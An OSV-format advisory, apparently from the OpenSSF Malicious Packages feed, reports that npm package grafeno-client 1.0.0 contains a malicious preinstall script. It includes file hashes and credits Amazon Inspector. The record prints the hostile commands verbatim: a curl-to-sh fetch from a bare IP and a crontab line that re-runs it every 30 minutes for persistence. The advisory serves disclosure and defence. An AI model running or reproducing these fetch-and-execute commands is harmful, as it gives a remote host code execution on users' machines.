MAL-2026-15503Malicious code in grafeno-client (npm)
| Ecosystem | Package | Version |
|---|---|---|
| npm | grafeno-client | 1.0.0 |
{"modified":"2026-08-28T23:01:53Z","published":"2026-08-28T23:01:53Z","schema_version":"1.7.4","id":"MAL-2026-15503","summary":"Malicious code in grafeno-client (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (61f8e4ee9fb4623ef1d751c00c885e412b6e6760d0aaf79c655272a90882ccb6)\npackage.json declares a preinstall script that runs curl against a bare IP over plain HTTP (http://216.126.236.46/x.sh) and pipes the response to sh, giving the remote host arbitrary code execution on the installer at npm install time. The same preinstall appends a crontab entry (*/30 * * * * curl -s 216.126.236.46/x.sh|sh) that re-fetches and re-executes the remote script every 30 minutes, establishing persistence that survives removal of the npm package. The shipped index.js is a stub, so the manifest is the entire payload.\n","affected":[{"package":{"ecosystem":"npm","name":"grafeno-client"},"versions":["1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"package.json","sha256":"39886a687598877e081aded3d47d72d45eb0654fde563c2541da2d5625891ec8","tlsh":"cdf050f0d820f4b32ac901305fa942f6f7e74846090cbc046b06016ce1de3931ebd856"}],"package_integrity":[{"filename":"grafeno-client-1.0.0.tgz","hashes":{"sha1":"cf3385f1f3d42086a94131e224c66493f08b2617","sha512_sri":"sha512-6LGRgO7bJAuWH8hg4RNFtxcSXpAizmAhlvL1lPo00ei8dT4jO4dMssfTDm4CZGyubgTziTZKBlZEWFeGQp06vQ=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/grafeno-client/v/1.0.0"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-019062","import_time":"2026-08-28T23:14:35.378943272Z","modified_time":"2026-08-28T23:01:53Z","sha256":"61f8e4ee9fb4623ef1d751c00c885e412b6e6760d0aaf79c655272a90882ccb6","source":"amazon-inspector","versions":["1.0.0"]}]}}数据来源:OpenSSF Malicious Packages · Apache-2.0